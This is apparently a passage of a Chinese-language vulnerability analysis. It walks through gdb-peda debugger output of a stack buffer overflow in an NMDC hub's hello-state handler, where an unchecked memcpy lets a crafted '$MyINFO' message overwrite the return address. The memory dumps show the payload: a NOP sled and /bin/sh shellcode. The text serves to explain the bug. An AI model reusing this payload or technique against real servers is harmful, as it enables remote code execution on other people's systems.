EDX: 0x144 
ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EDI: 0x1 
EBP: 0x0 
ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
EIP: 0x8053f77 (<proto_nmdc_state_hello+1431>:  call   0x8048df0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053f6e <proto_nmdc_state_hello+1422>: push   DWORD PTR [esp+0x30c]
   0x8053f75 <proto_nmdc_state_hello+1429>: push   ebx
   0x8053f76 <proto_nmdc_state_hello+1430>: push   esi
=> 0x8053f77 <proto_nmdc_state_hello+1431>: call   0x8048df0 <memcpy@plt>
   0x8053f7c <proto_nmdc_state_hello+1436>: add    esp,0xc
   0x8053f7f <proto_nmdc_state_hello+1439>: push   0x0
   0x8053f81 <proto_nmdc_state_hello+1441>: push   0x8
   0x8053f83 <proto_nmdc_state_hello+1443>: push   DWORD PTR [esp+0x30c]
Guessed arguments:
arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
arg[2]: 0x144 
[------------------------------------stack-------------------------------------]
0000| 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")
0004| 0xbfffefb4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200")
0008| 0xbfffefb8 --> 0x144 
0012| 0xbfffefbc --> 0xb7e4a5d0 (<_IO_str_init_static_internal+64>: )
0016| 0xbfffefc0 --> 0x79 ('y')
0020| 0xbfffefc4 --> 0x806c328 ("Pierre")
0024| 0xbfffefc8 --> 0x79 ('y')
0028| 0xbfffefcc --> 0x50 ('P')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EIP: 0x8053d2c (<proto_nmdc_state_hello+844>:   ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8053d29 <proto_nmdc_state_hello+841>:  pop    esi
   0x8053d2a <proto_nmdc_state_hello+842>:  pop    edi
   0x8053d2b <proto_nmdc_state_hello+843>:  pop    ebp
=> 0x8053d2c <proto_nmdc_state_hello+844>:  ret    
   0x8053d2d <proto_nmdc_state_hello+845>:  lea    esi,[esi+0x0]
   0x8053d30 <proto_nmdc_state_hello+848>:  add    esp,0x2ec
   0x8053d36 <proto_nmdc_state_hello+854>:  xor    ebp,ebp
   0x8053d38 <proto_nmdc_state_hello+856>:  pop    ebx
[------------------------------------stack-------------------------------------]
0000| 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
0004| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0008| 0xbffff2c4 --> 0xb1b1b1b1 
0012| 0xbffff2c8 --> 0xb1b1b1b1 
0016| 0xbffff2cc --> 0xb1b1b1b1 
0020| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0028| 0xbffff2d8 --> 0xcacaca24

由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。

gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0x2c2c2c2c (',,,,')
ECX: 0x0 
EDX: 0x5 
ESI: 0x2c2c2c2c (',,,,')
EDI: 0x2c2c2c2c (',,,,')
EBP: 0x2c2c2c2c (',,,,')
ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 
EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8066a27 <buf+39>:  push   esi
   0x8066a28 <buf+40>:  popa   
   0x8066a29 <buf+41>:  ins    BYTE PTR es:[edi],dx
=> 0x8066a2a <buf+42>:  imul   esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65
   0x8066a32 <buf+50>:  imul   esp,DWORD PTR [eax],0x50
   0x8066a35 <buf+53>:  imul   esp,DWORD PTR [ebp+0x72],0x247c6572
   0x8066a3c <buf+60>:  push   esi
   0x8066a3d <buf+61>:  outs   dx,BYTE PTR gs:[esi]
[------------------------------------stack-------------------------------------]
0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 
0004| 0xbffff2c4 --> 0xb1b1b1b1 
0008| 0xbffff2c8 --> 0xb1b1b1b1 
0012| 0xbffff2cc --> 0xb1b1b1b1 
0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")
0024| 0xbffff2d8 --> 0xcacaca24 
0028| 0xbffff2dc --> 0x505a20ca 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08066a2a in buf ()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK